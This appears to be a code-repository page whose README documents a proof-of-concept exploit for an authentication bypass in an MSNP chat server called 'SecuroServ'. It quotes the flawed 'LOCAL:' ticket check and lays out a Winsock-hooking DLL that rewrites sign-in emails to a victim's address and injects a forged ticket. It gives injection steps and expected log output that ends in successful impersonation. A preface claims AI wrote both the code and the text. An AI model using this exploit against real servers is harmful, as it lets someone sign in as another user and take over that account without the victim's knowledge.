"SecuroServ" TWN auth impersonation exploit PoC
  • C 50.3%
  • C++ 49.7%
Find a file
Repository files (latest commit first)
Filename Latest commit message Latest commit date
2026-09-27 21:33:15 +00:00
.gitignore initial poc 2026-09-27 23:24:35 +02:00
detours.h initial poc 2026-09-27 23:24:35 +02:00
detours.lib initial poc 2026-09-27 23:24:35 +02:00
detver.h initial poc 2026-09-27 23:24:35 +02:00
dllmain.cpp initial poc 2026-09-27 23:24:35 +02:00
framework.h initial poc 2026-09-27 23:24:35 +02:00
hooks.cpp initial poc 2026-09-27 23:24:35 +02:00
hooks.h initial poc 2026-09-27 23:24:35 +02:00
msnp_target_email.txt initial poc 2026-09-27 23:24:35 +02:00
pch.cpp initial poc 2026-09-27 23:24:35 +02:00
pch.h initial poc 2026-09-27 23:24:35 +02:00
README.md Update README.md 2026-09-27 21:33:15 +00:00
slopconnected.slnx initial poc 2026-09-27 23:24:35 +02:00
slopconnected.vcxproj initial poc 2026-09-27 23:24:35 +02:00
slopconnected.vcxproj.filters initial poc 2026-09-27 23:24:35 +02:00
slopconnected.vcxproj.user initial poc 2026-09-27 23:24:35 +02:00

SecuroServ MSNP8 TWN LOCAL: Auth Impersonation Exploit

Preface

Everything written below was made by AI, along with the exploit PoC code itself. I wanted to show that whoever wrote this code writes worse code then AI and that they should never be allowed near any kind of production systems with sensitive user data. Any readme inconsistencies and shit code are because of AI. I don't care actually, ggez +rep thx for free elo <3

Overview

This PoC demonstrates a critical authentication bypass in MSNP7SecuroServ using a Winsock DLL injection technique.

Vulnerability

Function: HandleTWNTicket() (lines 2143-2188)
Root Cause: LOCAL: ticket type only validates email string match, no cryptographic verification

bool flag3 = ticket.StartsWith("LOCAL:", StringComparison.OrdinalIgnoreCase);
if (flag3)
{
    string text = ticket.Substring(6).Trim();
    bool flag4 = string.Equals(text, c.Email, StringComparison.OrdinalIgnoreCase);
    if (flag4)
    {
        Program.AuthenticateNotification(c, account);  // FULL AUTH BYPASS
    }
}

Exploit Flow

  1. CVR Rewrite - Intercepts CVR <trid> ... <clientname> <attacker@email> → rewrites email to victim
  2. TWN I Rewrite - Intercepts USR <trid> TWN I <attacker@email> → rewrites email to victim
  3. Fast-Path Challenge Detection - On WSARecv return, scans raw buffer for USR <trid> TWN S <challenge>
  4. LOCAL: Injection - Immediately injects USR <trid> TWN S LOCAL:<victim@email> using SAME TRID
  5. SYN TRID Fix - Rewrites server's SYN 0 0 → SYN <client_trid> 0 to match client's SYN
  6. CHG NLN Auto-Send - After SYN handshake, sends CHG <trid+1> NLN to trigger presence sync (fixes the client getting stuck)

Quick Test Setup

Prerequisites

  • Target MSNP server running on port 1863 with MSNP8/TWN support
  • Test account with AuthMode = "MSNP8" or "AUTO"

Step 1: Start Target MSNP Server

# On the SecuroServ machine (or any vulnerable MSNP server)
# Create test account with MSNP8 auth mode:
MSNP7SecuroServ.exe --account [email protected] --MSNP8Mode password123

# Start server
MSNP7SecuroServ.exe

Step 2: Real MSN Messenger Test

# Start MSN Messenger (msnmsgr.exe)
# Type victim email in sign-in box (e.g., [email protected])

# Inject DLL
Use any injector you like such as Process Hacker 2 or Xenos

Configuration

The DLL reads the target email from:

  1. Config file (primary): A:\slopconnected\msnp_target_email.txt
  2. Environment variable (fallback): MSNP_TARGET_EMAIL

Expected Output

DLL Console (Debug Output)

[EXPLOIT] InitializeTargetEmail: reading config...
[EXPLOIT] Target email from config: [email protected]
[EXPLOIT] Connected to MSNP port 1863 (socket=X, idx=0), monitoring for TWN auth
[EXPLOIT] Rewrote CVR email to: [email protected]
[EXPLOIT] Rewrote TWN I email to: [email protected]
[EXPLOIT] *** FAST CHALLENGE DETECTED IN BUFFER ***
[EXPLOIT] *** FAST INJECT *** Sending: USR 4 TWN S LOCAL:[email protected]
[EXPLOIT] LOCAL: ticket injected successfully!
[EXPLOIT] Fixing SYN response: was SYN 0, rewriting to SYN 7 0
[EXPLOIT] SYN handshake done, sending CHG NLN: CHG 8 NLN
[EXPLOIT] Authentication successful! Exploit completed.

Technical Details

Hook Flow

1. HookedConnect() → Detects port 1863 → Marks socket for monitoring, tracks client SYN TRID
2. HookedSend() → Parses outgoing MSNP lines
   - Detects "CVR ... <email>" → Rewrites email to victim (10th field)
   - Detects "USR <trid> TWN I <email>" → Rewrites email to victim, sets waitingForChallenge=true
3. HookedWSARecv() → FAST-PATH: Scans raw buffer for "USR <trid> TWN S <challenge>"
   - If waitingForChallenge && exploitSent=false → Injects LOCAL: ticket with SAME TRID
4. HookedRecv() → Parses lines for SYN/USR/CHG
   - Tracks client SYN TRID: "SYN <trid> 0"
   - Fixes SYN response: "SYN 0 0" → "SYN <client_trid> 0"
   - After SYN handshake: Auto-sends "CHG <trid+1> NLN" to complete sign-in